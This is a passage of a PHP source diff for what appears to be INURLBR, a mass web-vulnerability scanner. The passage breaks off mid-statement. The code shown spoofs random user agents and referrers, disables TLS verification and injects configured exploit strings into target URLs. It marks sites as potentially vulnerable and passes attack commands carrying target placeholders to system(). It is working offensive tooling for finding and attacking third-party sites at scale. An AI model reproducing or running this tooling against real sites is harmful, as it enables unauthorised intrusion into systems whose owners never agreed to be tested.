+################################################################################ + +function __convertUrlQuery($query) { + + $queryParts = explode('&', $query); + $params = array(); + $match = array(); + foreach ($queryParts as $param) { + $item = explode('=', $param); + preg_match_all("([a-zA-Z0-9]=(.*))", $param, $match); + $params[$item[0]] = ($match[1][0]); + } + + return $params; +} + +################################################################################ +#OPEN FILE BASE FOR VALIDATION################################################## +################################################################################ + +function __openFile($arquivo, $op = NULL) { + + if (isset($arquivo) && !empty($arquivo)) { + $resultadoURL = array_unique(array_filter(explode("\n", file_get_contents($arquivo)))); + + if (is_array($resultadoURL)) { + + return ($op == 1 ? $resultadoURL : __process($resultadoURL)); + } + } +} + +################################################################################ +#CATCH INFORMATION IP########################################################### +################################################################################ + +function __infoIP($ip, $op = 0) { + + /* + [longitude] => 4.9 + [latitude] => 52.3667 + [asn] => AS196752 + [offset] => 2 + [ip] => 46.19.37.0 + [area_code] => 0 + [continent_code] => EU + [dma_code] => 0 + [timezone] => Europe/Amsterdam + [country_code] => NL + [isp] => Tilaa B.V. + [country] => Netherlands + [country_code3] => NLD + */ + + preg_match_all('#\b(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})#si', $ip, $ip); + if (filter_var($ip[0][0], FILTER_VALIDATE_IP)) { + if ($op == 0) { + $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); + __plus(); + return json_decode($request__['corpo'], TRUE); + } else { + $_SESSION['config']['verifica_info'] = NULL; + $request__ = __request_info("http://www.telize.com/geoip/{$ip[0][0]}", $_SESSION["config"]["proxy"], NULL); + $return = json_decode($request__['corpo'], TRUE); + __plus(); + return "{$return['city']} /{$return['country']} - {$return['country_code']} /{$return['continent_code']} , ISP: {$return['isp']}"; + } + } +} + +################################################################################ +#CAPTURE URL POSITION IN BROWSER ALEXA / RELEVANCE OF SUCH URL################## +################################################################################ + +function __positionAlexa($url) { + + $xmlSimple = simplexml_load_file("http://data.alexa.com/data?cli=10&dat=snbamz&url={$url}"); + $resultRank = $xmlSimple->SD[1]; + __plus(); + if ($resultRank) { + $retornoRank = $resultRank->REACH->attributes()->RANK; + } else { + $retornoRank = 0; + } + return $retornoRank . __plus(); +} + +################################################################################ +#GENERATE URL REFERENCE random################################################## +################################################################################ + +function __setURLReferenceRandom() { + + $dominio = array('Adzuna', 'Bixee', 'CareerBuilder', 'Craigslist', 'Dice', 'Eluta.ca', 'Hotjobs', 'JobStreet', 'Incruit', 'Indeed', 'Glassdoor', 'LinkUp', 'Monster', 'Naukri', + 'Yahoo', 'Legal', 'GoogleScholar', 'Lexis', 'Manupatra', 'Quicklaw', 'WestLaw', 'Medical', 'Bing Health', 'Bioinformatic', 'CiteAb', 'EB-eye', 'Entrez', 'mtv', 'ubuntu', + 'GenieKnows', 'GoPubMed', 'Healia', 'Healthline', 'Nextbio', 'PubGene', 'Quertle', 'Searchmedica', 'WebMD', 'News', 'BingNews', 'Daylife', 'GoogleNews', 'aol', 'microsoft', + 'MagPortal', 'Newslookup', 'Nexis', 'Topix', 'Trapit', 'YahooNews', 'People', 'Comfibook', 'Ex.plode', 'InfoSpace', 'PeekYou', 'Spock', 'Spokeo', 'WorldwideHelpers', 'iPhone', + 'Zabasearch', 'ZoomInfo', 'Fizber', 'HotPads', 'Realtor', 'Redfin', 'Rightmove', 'Trulia', 'Zillow', 'Zoopla', 'StuRents', 'globo', 'sbt', 'band', 'cnn', 'blog.inurl.com.br' + ); + + $gTLD = array('aero', 'arpa', 'biz', 'com', 'coop', 'edu', 'gov', 'info', 'int', 'mil', 'museum', 'name', 'net', 'org', 'pro', 'tel'); + + $arquivo = array('admin', 'index', 'wp-admin', 'info', 'shop', 'file', 'out', 'open', 'news', 'add', 'profile', 'search', 'open', 'photo', 'insert', 'view'); + $ext = array('exe', 'php', 'asp', 'aspx', 'jsf', 'html', 'htm', 'lua', 'log', 'cgi', 'sh', 'css', 'py', 'sql', 'xml', 'rss'); + + $pasta = array('App_Files', 'Assets', 'CFFileServlet', 'CFIDE', 'Communication', 'Computers', 'CoreAdminHome', 'CoreHome', 'Crawler', 'Creator', + 'DECOM', 'Dashboard', 'Drives', 'Dynamic', 'FCKeditor', 'Feedback', 'Files', 'Flash', 'Forms', 'Help', 'ICEcore', 'IO', 'Image', 'JPG', 'getold', + 'JSP', 'KFSI', 'Laguna', 'Login', 'Motors', 'MultiSites', 'NR', 'OCodger', 'RSS', 'Safety', 'Smarty', 'Software', 'Static', 'Stress', 'getfull', + 'Sugarcrm', 'Travel', 'UPLOAD', 'Urussanga', 'UserFiles', '__tpl', '_fckeditor', '_info', '_machine', '_plugins', '_sample', '_samples', 'postmost', + '_source', '_testcases', 'aaa', 'abelardoluz', 'aberlardoluz', 'aborto', 'about', 'aboutus', 'abuse', 'abusers', 'ac_drives', 'acabamentos', 'mail', + 'academias', 'acao', 'acartpro', 'acatalog', 'acc', 'acc_auto_del', 'acc_beep_ken', 'acc_beep_time', 'acc_ch_mail', 'acc_fc_prsc', 'accounts', 'validar', + 'acc_html_mark', 'acc_html_rand', 'acc_lan_page', 'acc_pic_html', 'acc_profol', 'acc_soft_link', 'acc_ssd_page', 'acc_syun_ei', 'german', 'intranet', 'old', + 'acc_time_go', 'acc_wbcreator', 'accept', 'accepted', 'acceso', 'access', 'accessibility', 'accessories', 'acciones', 'acclg', 'account', 'paste', 'paste22', + 'acessorios', 'acontece', 'acougueiro', 'acoustic', 'act', 'action', 'activate', 'active', 'activeden', 'activism', 'actualit', 'actuators', 'ad', 'informatica', + 'ad_division', 'ad_rate', 'adapter', 'adapters', 'adaptive', 'adaptivei', 'adatmentes', 'adbanner', 'adblock', 'adboard', 'adclick', 'add-ons', 'add', 'delete', + 'added', 'addon', 'address', 'adduser', 'adfree', 'adhoc', 'adinfo', 'adios_papa', 'adlink', 'adlinks', 'acc_folder_vw', 'acc_syun_su', + ); + + $locais = array('ac', 'ad', 'ae', 'af', 'ag', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'as', 'at', 'au', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'bj', 'bm', 'bn', + 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'cr', 'cu', 'cv', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'do', 'dz', 'bo', 'br', + 'ec', 'ee', 'eg', 'er', 'es', 'et', 'eu', 'fi', 'fj', 'fk', 'fm', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gm', 'gn', 'gp', 'gq', 'gr', 'bs', 'bt', + 'gs', 'gt', 'gu', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'bv', + 'kh', 'ki', 'km', 'kn', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'me', 'mg', 'mh', 'mk', 'ml', + 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'mv', 'mw', 'mx', 'my', 'mz', 'nb', 'nc', 'ne', 'nf', 'ng', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', + 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'sg', 'sh', 'si', + 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'ss', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tj', 'tk', 'tl', 'tm', 'tn', 'to', 'tr', 'tt', 'tv', + 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'ye', 'yt', 'yu', 'za', 'zm', 'zw', 'ai', + ); + return "http://www." . strtolower($dominio[rand(0, count($dominio) - 1)]) . ".{$gTLD[rand(0, count($gTLD) - 1)]}.{$locais[rand(0, count($locais) - 1)]}/{$pasta[rand(0, count($pasta) - 1)]}/{$arquivo[rand(0, count($arquivo) - 1)]}.{$ext[rand(0, count($ext) - 1)]}"; +} + +################################################################################ +#GENERATE AGENT BROWSER random################################################## +################################################################################ + +function __setUserAgentRandom() { + + $agentBrowser = array('Firefox', 'Safari', 'Opera', 'Flock', 'Internet Explorer', 'Seamonkey', 'Tor Browser', 'GNU IceCat', 'CriOS', 'TenFourFox', + 'SeaMonkey', 'B-l-i-t-z-B-O-T', 'Konqueror', 'Mobile', 'Konqueror', 'Netscape', 'Chrome', 'Dragon', 'SeaMonkey', 'Maxthon', 'IBrowse', + 'K-Meleon', 'GoogleBot', 'Konqueror', 'Minimo', 'Googlebot', 'WeltweitimnetzBrowser', 'SuperBot', 'TerrawizBot', 'YodaoBot', 'Wyzo', 'Grail', + 'PycURL', 'Galaxy', 'EnigmaFox', '008', 'ABACHOBot', 'Bimbot', 'Covario IDS', 'iCab', 'KKman', 'Oregano', 'WorldWideWeb', 'Wyzo', 'GNU IceCat', + 'Vimprobable', 'uzbl', 'Slim Browser', 'Flock', 'OmniWeb', 'Rockmelt', 'Shiira', 'Swift', 'Pale Moon', 'Camino', 'Flock', 'Galeon', 'Sylera' + ); + + $agentSistema = array('Windows 3.1', 'Windows 95', 'Windows 98', 'Windows 2000', 'Windows NT', 'Linux 2.4.22-10mdk', 'FreeBSD', + 'Windows XP', 'Windows Vista', 'Redhat Linux', 'Ubuntu', 'Fedora', 'AmigaOS', 'BackTrack Linux', 'iPad', 'BlackBerry', 'Unix', + 'CentOS Linux', 'Debian Linux', 'Macintosh', 'Android', 'iPhone', 'Windows NT 6.1', 'BeOS', 'OS 10.5', 'Nokia', 'Arch Linux', + 'Ark Linux', 'BitLinux', 'Conectiva (Mandriva)', 'CRUX Linux', 'Damn Small Linux', 'DeLi Linux', 'Ubuntu', 'BigLinux', 'Edubuntu', + 'Fluxbuntu', 'Freespire', 'GNewSense', 'Gobuntu', 'gOS', 'Mint Linux', 'Kubuntu', 'Xubuntu', 'ZeVenOS', 'Zebuntu', 'DemoLinux', + 'Dreamlinux', 'DualOS', 'eLearnix', 'Feather Linux', 'Famelix', 'FeniX', 'Gentoo', 'GoboLinux', 'GNUstep', 'Insigne Linux', + 'Kalango', 'KateOS', 'Knoppix', 'Kurumin', 'Dizinha', 'TupiServer', 'Linspire', 'Litrix', 'Mandrake', 'Mandriva', 'MEPIS', + 'Musix GNU Linux', 'Musix-BR', 'OneBase Go', 'openSuSE', 'pQui Linux', 'PCLinuxOS', 'Plaszma OS', 'Puppy Linux', 'QiLinux', + 'Red Hat Linux', 'Red Hat Enterprise Linux', 'CentOS', 'Fedora', 'Resulinux', 'Rxart', 'Sabayon Linux', 'SAM Desktop', 'Satux', + 'Slackware', 'GoblinX', 'Slax', 'Zenwalk', 'SuSE', 'Caixa Mágica', 'HP-UX', 'IRIX', 'OSF/1', 'OS-9', 'POSYS', 'QNX', 'Solaris', + 'OpenSolaris', 'SunOS', 'SCO UNIX', 'Tropix', 'EROS', 'Tru64', 'Digital UNIX', 'Ultrix', 'UniCOS', 'UNIflex', 'Microsoft Xenix', + 'z/OS', 'Xinu', 'Research Unix', 'InfernoOS' + ); + + $locais = array('cs-CZ', 'en-US', 'sk-SK', 'pt-BR', 'sq_AL', 'sq', 'ar_DZ', 'ar_BH', 'ar_EG', 'ar_IQ', 'ar_JO', + 'ar_KW', 'ar_LB', 'ar_LY', 'ar_MA', 'ar_OM', 'ar_QA', 'ar_SA', 'ar_SD', 'ar_SY', 'ar_TN', 'ar_AE', 'ar_YE', 'ar', + 'be_BY', 'be', 'bg_BG', 'bg', 'ca_ES', 'ca', 'zh_CN', 'zh_HK', 'zh_SG', 'zh_TW', 'zh', 'hr_HR', 'hr', 'cs_CZ', 'cs', + 'da_DK', 'da', 'nl_BE', 'nl_NL', 'nl', 'en_AU', 'en_CA', 'en_IN', 'en_IE', 'en_MT', 'en_NZ', 'en_PH', 'en_SG', 'en_ZA', + 'en_GB', 'en_US', 'en', 'et_EE', 'et', 'fi_FI', 'fi', 'fr_BE', 'fr_CA', 'fr_FR', 'fr_LU', 'fr_CH', 'fr', 'de_AT', 'de_DE', + 'de_LU', 'de_CH', 'de', 'el_CY', 'el_GR', 'el', 'iw_IL', 'iw', 'hi_IN', 'hu_HU', 'hu', 'is_IS', 'is', 'in_ID', 'in', 'ga_IE', + 'ga', 'it_IT', 'it_CH', 'it', 'ja_JP', 'ja_JP_JP', 'ja', 'ko_KR', 'ko', 'lv_LV', 'lv', 'lt_LT', 'lt', 'mk_MK', 'mk', 'ms_MY', + 'ms', 'mt_MT', 'mt', 'no_NO', 'no_NO_NY', 'no', 'pl_PL', 'pl', 'pt_PT', 'pt', 'ro_RO', 'ro', 'ru_RU', 'ru', 'sr_BA', 'sr_ME', + 'sr_CS', 'sr_RS', 'sr', 'sk_SK', 'sk', 'sl_SI', 'sl', 'es_AR', 'es_BO', 'es_CL', 'es_CO', 'es_CR', 'es_DO', 'es_EC', 'es_SV', + 'es_GT', 'es_HN', 'es_MX', 'es_NI', 'es_PA', 'es_PY', 'es_PE', 'es_PR', 'es_ES', 'es_US', 'es_UY', 'es_VE', 'es', 'sv_SE', + 'sv', 'th_TH', 'th_TH_TH', 'th', 'tr_TR', 'tr', 'uk_UA', 'uk', 'vi_VN', 'vi' + ); + return $agentBrowser[rand(0, count($agentBrowser) - 1)] . '/' . rand(1, 20) . '.' . rand(0, 20) . ' (' . $agentSistema[rand(0, count($agentSistema) - 1)] . ' ' . rand(1, 7) . '.' . rand(0, 9) . '; ' . $locais[rand(0, count($locais) - 1)] . ';)'; +} + +################################################################################ +#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL the installation of facilities######## +################################################################################ + +function __installDepencia() { + + echo __bannerlogo() . __plus(); + echo "\n{$_SESSION["c15"]}|_[ * ]__{$_SESSION["c0"]}\n"; + echo " {$_SESSION["c15"]}|[EXTERNAL COMMAND INSTALLING PREMISES ]:: {$_SESSION["c11"]}\n"; + $dados = system("sudo apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl", $dados) . __plus(); + sleep(1) . __plus(); + echo "{$_SESSION["c0"]}"; + if (empty($dados)) { + + return FALSE; + } + unset($dados); + exit(); +} + +################################################################################ +#RESPONSIBLE FOR RUN COMMANDS IN TERMINAL####################################### +################################################################################ + +function __command($commando, $alvo) { + + if (!is_null($commando)) { + + (strstr($commando, '_TARGET_') || + strstr($commando, '_TARGETFULL_') || + strstr($commando, '_TARGETIP_') || + strstr($commando, '_EXPLOIT_') || + strstr($commando, '_URI_') || + strstr($commando, '_URI_') || + strstr($commando, '_PORT_') || + strstr($commando, '_RANDOM_') ? NULL : + __getOut(__bannerLogo() . "{$_SESSION["c1"]}[ INFO ]{$_SESSION["c2"]}SET PARAMETER - command correctly{$_SESSION["c0"]}\n")); + + $uri = parse_url($alvo['url_xpl']); + + $command[0] = str_replace("_TARGET_", "{$_SESSION["c8"]}" . __filterHostname($alvo['url_xpl']) . "{$_SESSION["c1"]}", $commando); + $command[0] = str_replace('_TARGETIP_', "{$_SESSION["c9"]}{$_SESSION['config']['server_ip']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_TARGETFULL_', "{$_SESSION["c14"]}{$alvo['url_clean']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_TARGETXPL_', "{$_SESSION["c14"]}{$alvo['url_xpl']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace("_EXPLOIT_", "{$_SESSION["c6"]}{$_SESSION['config']['exploit-command']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_URI_', "{$_SESSION["c8"]}{$uri['path']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_PORT_', "{$_SESSION["c9"]}{$alvo['url_port']}{$_SESSION["c1"]}", $command[0]); + $command[0] = str_replace('_RANDOM_', "{$_SESSION["c15"]}" . random(5) . "{$_SESSION["c1"]}", $command[0]); + + $command[0] = __crypt($command[0]); + + $command[1] = str_replace("_TARGET_", __filterHostname($alvo['url_clean']), $commando); + $command[1] = str_replace('_TARGETIP_', $_SESSION['config']['server_ip'], $command[1]); + $command[1] = str_replace('_TARGETFULL_', $alvo['url_clean'], $command[1]); + $command[1] = str_replace('_TARGETXPL_', $alvo['url_xpl'], $command[1]); + $command[1] = str_replace("_EXPLOIT_", $_SESSION['config']['exploit-command'], $command[1]); + $command[1] = str_replace("_URI_", $uri['path'], $command[1]); + $command[1] = str_replace("_PORT_", $alvo['url_port'], $command[1]); + $command[1] = str_replace("_RANDOM_", random(5), $command[1]); + $command[1] = str_replace("\n", '', str_replace("\r", '', $command[1])); + + $command[1] = __crypt($command[1]); + + echo "\n{$_SESSION["c1"]}|_[ * ]__\n"; + echo " |[ EXTERNAL COMMAND ]:: {$command[0]}{$_SESSION["c11"]}\n"; + $_ = array(0 => ($_SESSION['config']['popup']) ? 'sudo xterm -geometry 134x50+1900+0 -title "Auxiliary Window - INURLBR / COMMAND" -e ' : NULL, 1 => ($_SESSION['config']['popup']) ? ' > /dev/null &' : NULL); + echo ($_SESSION['config']['popup'] ? "\t[!] opening auxiliary window...\n" : NULL); + $dados = system($_[0] . $command[1] . $_[1], $dados); + sleep(1) . __plus(); + + echo $_SESSION["c0"]; + } + if (empty($dados[0])) { + + return FALSE; + } + unset($dados); +} + +################################################################################ +#FILTER BY TAKING ONLY RESPONSIBLE URL HOSTNAME################################# +################################################################################ + +function __filterHostname($url) { + + $alvo_ = NULL; + //#\b((((ht|f)tps?://*)|(www|ftp)\.)[a-zA-Z0-9-\.]+)#i - 1.0 + preg_match_all('@^(?:(ht|f)tps?://*)?([^/]+)@i', $url, $alvo_); + return str_replace("/", '', str_replace("ftps:", '', str_replace("ftp:", '', str_replace("https:", '', str_replace("http:", '', $alvo_[0][0]))))); +} + +################################################################################ +#RESPONSIBLE FOR ALL REQUESTS GET / POST THE SCRIPT############################# +################################################################################ +/* + curl_multi_init — Returns a new cURL multi handle + (PHP 5) http://php.net/manual/en/function.curl-multi-init.php + */ + +function __request_info($url_, $proxy = NULL, $postDados = NULL) { + + $url_ = __crypt($url_); + $mh = curl_multi_init(); + $curl_array = array(); + $nodes = is_array($url_) ? $url_ : array($url_); + + foreach ($nodes as $i => $url) { + + $curl_array[$i] = curl_init($url); + + __plus(); + + //FORMATANDO POST & EXECUTANDO urlencode EM CADA VALOR DO POST. + if (not_isnull_empty($postDados) && is_array($postDados)) { + + foreach ($postDados as $campo => $valor) { + + $postDados_format .= "{$campo}=" . urlencode($valor) . '&'; + } + + $postDados_format = rtrim($postDados_format, '&'); + curl_setopt($curl_array[$i], CURLOPT_POST, count($postDados)); + curl_setopt($curl_array[$i], CURLOPT_POSTFIELDS, __crypt($postDados_format)); + } + + curl_setopt($curl_array[$i], CURLOPT_HTTPHEADER, array_merge(not_isnull_empty($_SESSION['config']['http-header']) ? + explode(',', __crypt($_SESSION['config']['http-header'])) : array(), array("Cookie: disclaimer_accepted=true"))); + curl_setopt($curl_array[$i], CURLOPT_USERAGENT, (not_isnull_empty($_SESSION['config']['user-agent'])) ? + __crypt($_SESSION['config']['user-agent']) : __setUserAgentRandom()); + curl_setopt($curl_array[$i], CURLOPT_REFERER, (not_isnull_empty($_SESSION['config']['url-reference'])) ? + __crypt($_SESSION['config']['url-reference']) : __setURLReferenceRandom()); + + (!is_null($proxy) ? curl_setopt($curl_array[$i], CURLOPT_PROXY, $proxy) : NULL); + (!is_null($_SESSION['config']['verifica_info'])) ? curl_setopt($curl_array[$i], CURLOPT_HEADER, 1) : NULL; + (!is_null($_SESSION['config']['verifica_info']) && __validateOptions('3,6', $_SESSION['config']['debug']) ? + curl_setopt($curl_array[$i], CURLOPT_VERBOSE, 1) : NULL); + + __plus(); + curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYPEER, 0); + curl_setopt($curl_array[$i], CURLOPT_SSL_VERIFYHOST, 0); + curl_setopt($curl_array[$i], CURLOPT_FRESH_CONNECT, 1); + curl_setopt($curl_array[$i], CURLOPT_RETURNTRANSFER, 1); + + curl_setopt($curl_array[$i], CURLOPT_CONNECTTIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? + $_SESSION['config']['time-out'] : 5); + + curl_setopt($curl_array[$i], CURLOPT_TIMEOUT, not_isnull_empty($_SESSION['config']['time-out']) ? + $_SESSION['config']['time-out'] : 5); + + curl_setopt($curl_array[$i], CURLOPT_COOKIEFILE, not_isnull_empty($_SESSION['config']['file-cookie']) ? + $_SESSION['config']['file-cookie'] : 'cookie.txt'); + + curl_setopt($curl_array[$i], CURLOPT_COOKIEJAR, not_isnull_empty($_SESSION['config']['file-cookie']) ? + $_SESSION['config']['file-cookie'] : 'cookie.txt'); + + curl_multi_add_handle($mh, $curl_array[$i]); + } + $running = NULL; + do { + + usleep(100); + curl_multi_exec($mh, $running); + } while ($running > 0); + $ret = array(); + foreach ($nodes as $i => $url) { + + $ret[0] = curl_multi_getcontent($curl_array[$i]); + $ret[1] = curl_getinfo($curl_array[$i]); + $ret[2] = curl_error($curl_array[$i]); + } + foreach ($nodes as $i => $url) { + curl_multi_remove_handle($mh, $curl_array[$i]); + } + + $status = NULL; + preg_match_all('(HTTP.*)', $ret[0], $status['http']); + preg_match_all('(Server:.*)', $ret[0], $status['server']); + preg_match_all('(X-Powered-By:.*)', $ret[0], $status['X-Powered-By']); + + __plus(); + $ret[3] = str_replace("\r", '', str_replace("\n", '', "{$status['http'][0][0]}, {$status['server'][0][0]} {$status['X-Powered-By'][0][0]}")); + __debug(array('debug' => "[ BODY ]{$ret[0]}", 'function' => '__request_info'), 4); + + __plus(); + __debug(array('debug' => "[ URL ]{$url_}", 'function' => '__request_info'), 2); + + __plus(); + curl_multi_close($mh) . unlink('cookie.txt'); + + __plus(); + unset($curl_array); + return isset($ret[0]) ? array('corpo' => $ret[0], 'server' => $ret[1], 'error' => $ret[2], 'info' => $ret[3]) : FALSE; +} + +################################################################################ +#CAPTURE INFORMATION SERVER AND VALIDATE FAULTS################################# +################################################################################ + +function __infoServer($url_, $postDados = NULL) { + + __plus(); + $_SESSION['config']['verifica_info'] = 1; + $resultado = __request_info($url_, $_SESSION["config"]["proxy"], $postDados); + __plus(); + if (isset($resultado['corpo'])) { + if (!is_null($_SESSION['config']['extrai-email'])) { + + __plus(); + return __extractEmail($resultado['corpo'], $url_); + } + + if (!is_null($_SESSION['config']['extrai-url'])) { + + __plus(); + return __extractURLs($resultado['corpo'], $url_); + } + + if (not_isnull_empty($_SESSION['config']['regexp-filter'])) { + + __plus(); + return __extractRegCustom($resultado['corpo'], $url_); + } + + if (not_isnull_empty($_SESSION['config']['target']) && $_SESSION['config']['tipoerro'] == 5) { + + __plus(); + return __checkURLs($resultado, $url_); + } + + $ifcode = not_isnull_empty($_SESSION['config']['ifcode']) && + strstr($resultado['server']['http_code'], $_SESSION['config']['ifcode']) ? + "CODE_HTTP_FOUND: {$_SESSION['config']['ifcode']} / " : NULL; + + + $ifredirect = not_isnull_empty($_SESSION['config']['ifredirect']) && + (strstr($resultado['server']['redirect_url'], $_SESSION['config']['ifredirect'])) ? + 'VALUE URL REDIRECT FOUND' : NULL; + + $_SESSION['config']['erroReturn'] = $ifredirect . $ifcode . __checkError($resultado['corpo']); + __plus(); + $_SESSION['config']['curl_getinfo'] = $resultado['server']; + $_SESSION['config']['error_conection'] = (not_isnull_empty($resultado['error']) ? $resultado['error'] : NULL); + $_SESSION['config']['server_ip'] = (!is_null($resultado['server']['primary_ip']) ? $resultado['server']['primary_ip'] : NULL); + $_SESSION['config']['vull_style'] = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? + "{$_SESSION["c4"]}( POTENTIALLY VULNERABLE ){$_SESSION["c0"]} \033[1m \033[32m" . __cli_beep() : NULL; + $_SESSION['config']['resultado_valores'].=(not_isnull_empty($_SESSION['config']['erroReturn'])) ? "{$url_}\n" : NULL; + __plus(); + $url_ = ($_SESSION['config']['alexa-rank']) ? ", RANK ALEXA: " . __positionAlexa($url_) : NULL; + __plus(); + $_SESSION['config']['info_ip'] = __infoIP($resultado['server']['primary_ip'], 1); + __plus(); + } else { + return FALSE; + } + __plus(); + + return "{$resultado['info']}, IP:{$resultado['server']['primary_ip']}:{$resultado['server']['primary_port']} {$url_}"; +} + +################################################################################ +#ERROR MAIN PROCESS RESPONSIBLE FOR ALL VALIDATION OF MOTOR##################### +################################################################################ + +function __processUrlExec($url, $contUrl) { + + __plus(); + if (is_null($url) || empty($url)) { + + return FALSE; + } + + $host = (!is_null($_SESSION['config']['replace'])) ? + __replace($_SESSION['config']['replace'], urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url))) : + urldecode($_SESSION['config']['tipoerro'] == 3 ? __filterHostname($url) : ($url)); + + $target_['url_xpl'] = __remove($_SESSION['config']['remove'], __mountURLExploit(!is_null($_SESSION['config']['url']) ? $_SESSION['config']['url'] . $host : $host)); + $info = __infoServer($target_['url_xpl'], $_SESSION['config']['exploit-post']); + $target_['url_clean'] = ($_SESSION['config']['tipoerro'] == 4) ? $_SESSION['config']['url'] . $host : urldecode($url); + + __plus(); + + if ($_SESSION['config']['tipoerro'] != 5 && is_null($_SESSION['config']['extrai-email']) && + is_null($_SESSION['config']['extrai-url']) && is_null($_SESSION['config']['regexp-filter'])) { + + $ifredirect = strstr($_SESSION['config']['curl_getinfo']['redirect_url'], $_SESSION['config']['ifredirect']) ? + "{$_SESSION["c4"]}{$_SESSION['config']['curl_getinfo']['redirect_url']}" : NULL; + $exget = (not_isnull_empty($_SESSION['config']['exploit-get']) ? ' _/GET=> ' . $_SESSION['config']['exploit-get'] : NULL); + $expost = (not_isnull_empty($_SESSION['config']['exploit-post']) ? ' _/POST=> ' . $_SESSION['config']['exploit-post_str'] : NULL); + $valid_return = (not_isnull_empty($_SESSION['config']['erroReturn'])) ? TRUE : FALSE; + $info = ($valid_return) ? "{$_SESSION["c4"]}{$info}" : $info; + $target_ip = ($valid_return) ? "{$_SESSION["c4"]}{$_SESSION['config']['info_ip']}" : $_SESSION['config']['info_ip']; + + $anime = ($valid_return) ? '[ ! ]' : '[ - ]'; + echo __plus() . "\n"; + + echo "{$_SESSION["c1"]}{$_SESSION['config']['line']}{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] [{$_SESSION["c1"]} {$contUrl} / {$_SESSION['config']['total_url']} {$_SESSION["c1"]}]{$_SESSION["c9"]}-[" . date("H:i:s") . "]{$_SESSION["c1"]} {$anime} {$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Target:: {$_SESSION["c1"]}[{$_SESSION["c9"]} {$_SESSION['config']['vull_style']}{$target_['url_clean']}{$_SESSION["c1"]} ]{$_SESSION["c0"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Exploit:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$exget}{$expost}{$_SESSION["c0"]}\n"; + echo (not_isnull_empty($_SESSION['config']['replace'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Replace:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['replace']}{$_SESSION["c0"]}\n") : NULL; + echo (not_isnull_empty($_SESSION['config']['remove'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Remove:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['remove']}{$_SESSION["c0"]}\n") : NULL; + echo (isset($_SESSION['config']['cms-check-resultado'])) ? ("{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}CMS check:: {$_SESSION["c0"]}{$_SESSION["c3"]}{$_SESSION['config']['cms-check-resultado']}{$_SESSION["c0"]}\n") : NULL; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Information Server:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$info}{$_SESSION["c1"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}More details:: {$_SESSION["c0"]}{$_SESSION["c9"]}{$target_ip}{$_SESSION["c1"]}\n"; + echo "{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}Found:: {$_SESSION["c9"]}" . ($valid_return ? "{$_SESSION["c4"]}{$_SESSION['config']['erroReturn']}" : "UNIDENTIFIED") . "{$_SESSION["c0"]}"; + echo (not_isnull_empty($ifredirect) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}URL REDIRECT:: {$_SESSION["c9"]}{$ifredirect}{$_SESSION["c0"]}" : NULL); + echo (not_isnull_empty($_SESSION['config']['error_conection']) ? "\n{$_SESSION["c1"]}|_[ + ] {$_SESSION["c0"]}{$_SESSION["c7"]}ERROR CONECTION:: {$_SESSION["c2"]}{$_SESSION['config']['error_conection']}{$_SESSION["c0"]}" : NULL); + ($valid_return ? __saveValue($_SESSION['config']['arquivo_output'], $target_['url_xpl'], 1) : NULL); + echo ($_SESSION['config']['sendmail'] ? 